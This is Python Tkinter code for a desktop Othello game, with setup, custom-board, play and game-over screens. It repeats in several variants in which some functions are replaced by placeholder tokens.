tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n 